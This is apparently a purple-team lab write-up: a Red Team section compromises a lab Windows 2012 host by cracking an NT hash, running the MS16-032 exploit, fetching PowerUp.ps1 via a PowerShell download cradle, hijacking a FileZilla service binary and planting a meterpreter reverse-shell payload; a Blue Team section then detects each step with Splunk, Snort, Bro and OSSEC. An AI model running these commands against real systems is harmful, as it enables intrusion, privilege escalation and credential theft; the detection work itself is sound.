Purple Team Exercise: Bureaucrat

We have some info about this machine from Kif.

Since we don’t know the password, we’ll have to use the wordlist provided in the /root directory of Kif.

Red Team

nmap 192.168.0.253

Run a more targeted scan:

nmap -sV -O -p 135,445,3389,49154 192.168.0.253 –script=safe -oA nmap

We have some ports of interest open, namely SMB and RDP

We also have 49154 open, and our scan returned an OS guess of Windows 8.1 or Windows 2012
(2k12 is correct)

We see the servers hostname: Bureaucrat

If we can crack the credentials found in the last machine, we might be able to login via SMB or RDP

Let’s run the hash through hash-identifier to see if we can crack it

hash-identifier

93125CBC8942CFA41709F20149A9B120:41E0D7377DC3DC97043F124A95482750

The hash returns as LM_hash:NT_hash. We’ll only need to crack one, so lets focus on cracking the nt hash. I took the nt hash portion and copied it to file “nt.hash”

If we remember back to the hint found on Kif, we’ll use the wordlist we found to brute force the password

John has an nt hash flag, so I run the list.txt wordlist through it

john –wordlist=list.txt -format=nt nt.hash

We get the following password:

Now that we have a username and password, let’s see if we can login via RDP

rdesktop 192.168.0.253

systeminfo > sysinfo.txt

python windows-exploit-suggester.py -d 2018-03-25-mssb.xls -i systeminfo

https://www.exploit-db.com/exploits/39719/

Paste the exploit to “sploit.ps1”

Add “Invoke-MS16-032” to the end of the file

Host the file on Kali with SimpleHTTPServer

From Bureaucrat, browse to Kali’s SimpleHTTPServer, and download “sploit.ps1”

Open up powershell, browse to the Downloads dir, and execute “./sploit.ps1”

A new command line window opens and provides us with system!

Next, we’ll get system using PowerSploit.

apt-get install git -y
git clone https://github.com/PowerShellMafia/PowerSploit.git

vi PowerSploit/Privesc/PowerUp.ps1
Add: “Invoke-AllChecks” to end of the file
python -m SimpleHTTPServer

In Bureaucrat, open powershell window, download and run PowerUp.ps1 with:

IEX(New-Object Net.WebClient).DownloadString(‘http://10.242.2.2:8000/Privesc/PowerUp.ps1’)

PowerUp.ps1 runs without any interaction, and right off the bat finds an unquoted service path.

Looks like our user has permissions to modify the FileZilla Server.exe. We should be able to substitute the file for our own payload, and get a reverse listener ūüôā

To exploit the unqouted service path vulnerability, we issue the following command:
Write-ServiceBinary -Name ‘FileZilla Server’ -PATH C:\Users\hermes\FileZilla.exe

Then we have to restart the FileZilla service. Once we do that, we can check the machine for local administrators, which now contains our new user “John” with password: “Password123!”

We could login as John and continue with the write-up. We have Admin, but we’ll continue by uploading a meterpreter shell and migrate to a SYSTEM process.

Create our payload in Kali:
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.242.2.2 lport=1234 -f exe -o met64.exe

locate nc.exe
python -m SimpleHTTPServer

browse to nc.exe to download

open cmd.exe prompt

Windows: nc.exe -l -p 1234 > met64.exe (we need to disable FW for this to work as well)

Kali: nc -w 3 192.168.0.253 1234 < met64.exe

Rename met64.exe and replace it with FileZilla Server.exe in C:\Users\hermes\FileZilla Server

use exploit/multi/handler
run

restart FileZilla

getuid
shell (Dies)
restart FileZilla

sessions -l
sessions -i
ps

migrate to x64 System process

OR: run persistence -A -L ‘C:\Users\hermes\FileZilla Server\’ -i 60 -p 443 -r KALI_IP
getuid = authority\system
hashdump

Blue Team

Filter by bureaucrat’s ip

Typical nmap alerts
The targeted scan generates NMAP specific alerts

Splunk search for nmap related snort alerts:
src_ip=”10.242.2.2″ dest_ip=”192.168.0.253″ sourcetype=sguild name=*SCAN* name!=*Dirbuster* name!=*Nikto* | sort 0 _time |table _time src_ip dest_ip name

Alert for root user logins from a remote system. Probably against company policy, we’ll need additional logs for attrition.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Snort alerts on RDP connections, you might want suppress this alert. We could always use bro to report on RDP sessions.

Our windows logs show the successful remote login. I failed twice, then was successful with Hermes:

sourcetype=WinEventLog:Security host=bureaucrat src_ip=10.242.2.2 Account_Name=hermes |  table _time src_ip ComputerName Account_Name app  action

I had to sift through some scripted commands issued by the user hermes, but I could pull out the commands I issued:

sourcetype=”WinEventLog:Security” host=bureaucrat¬† Account_Name=hermes Process_Command_Line=”*” |¬† table _time, Account_Domain, Account_Name, Process_Command_Line, action
Process command line picked up a number of commands I did not run manually. Must have been related to what services the user is responsible for running

If I sift through, I can identify my commands (ugly)

sourcetype=”WinEventLog:Security” host=bureaucrat¬† Account_Name=hermes Process_Command_Line!=”*mmc*” Process_Command_Line!=”*0xf*” Process_Command_Line!=”*IEF*” Process_Command_Line!=”*Framework*” Process_Command_Line!=”*prefetch*” Process_Command_Line!=”*Run64*” Process_Command_Line!=”*expl*” Process_Command_Line!=”*vmtool*” |¬† table _time, Account_Domain, Account_Name, Process_Command_Line, action

Splunk Alert:

I recommend alerting on typical Windows network/discovery tools. If an attacker had to “live off the land,” what commands would they use? If you see a abnormal number of info gathering commands, you should get this info in a report. This is a basic list, which you should add to:

sourcetype=”WinEventLog:Security” host=bureaucrat Process_Command_Line!=”*telnet*” process_Command_Line=”*systeminfo*” Process_Command_Line=”*net user*” Process_Command_Line=”*powershell*” | table _time Account_Name

 

 

 

 

 

 

 

 

 

We can use bro_http to see the files bureaucrat successfully accessed. First sploit.ps1, then shortly after PowerUp.ps1

sourcetype=bro_http id.orig_h=192.168.0.253 method=GET id.resp_h=”10.242.2.2″ uri!=/nc.exe AND uri!=/favicon.ico |¬† table _time id.orig_h id.resp_h id.resp_p referrer uri status_msg

Wireshark -> Export Options -> HTTP:

 

 

 

 

 

 

 

 

 

 

 

 

We saw this activity with our last search

earliest=05/13/2018:16:00:0 latest=05/13/2018:18:25:0 sourcetype=bro_http id.orig_h=192.168.0.253 method=GET id.resp_h=”10.242.2.2″ uri!=/nc.exe AND uri!=/favicon.ico |¬† table _time id.orig_h id.resp_h id.resp_p referrer uri status_msg

Alert: It’s unrealistic to alert of files being downloaded from outside your environment, but maybe we can alert on files being download from a-typical ports (ie, not 80/443)

sourcetype=bro_http id.resp_h!=192.168.0.0/24 method=GET id.resp_p!=80 AND id.resp_p!=443 status_msg=OK OR status_code=200

Snort, alerting on the script




Wireshark -> Export Options -> HTTP:

Used splunk to generate a list of logins. The guest logins are related to the nmap scans probing shares. Then my initial login as hermes. Finally I used our payload to login as a local admin “john”

earliest=05/13/2018:16:00:0 latest=05/13/2018:18:25:0 sourcetype=WinEventLog:Security host=bureaucrat src_ip=10.242.2.2 Account_Name=* |  table _time src_ip ComputerName Account_Name app  action

 

 

Alert for downloading nc.exe

Which we can extract to analyze:
Wireshark -> Export Options -> HTTP

Our Splunk search shows our remote request for nc.exe
sourcetype=bro_http id.orig_h=192.168.0.253 method=GET id.resp_h=”10.242.2.2″ uri!=/ uri!=/favicon.ico |¬† table _time id.orig_h id.resp_h id.resp_p referrer uri status_msg


nc.exe was picked up by MalwareBytes. There are ways we could avoid detection, but that out of the scope for the article.

Splunk alerts that shows remote connections to the attacker IP:
host=bureaucrat sourcetype=”WinEventLog:Security” Account_Name=hermes Process_Command_Line=”*nc.exe*” |¬† table _time, Account_Domain, Account_Name, Process_Command_Line, action

MalwareBytes also detected met64.exe. Again, we could encrypt or obfuscate the payload to avoid detection, but this would be a great find to start an investigation.

Splunk search via OSSEC that shows the FilesZilla application being tampered with.

sourcetype=ossec_alerts signature=”*checksum*” file_dirname=”C:\\Users\\hermes/FileZilla Server*/”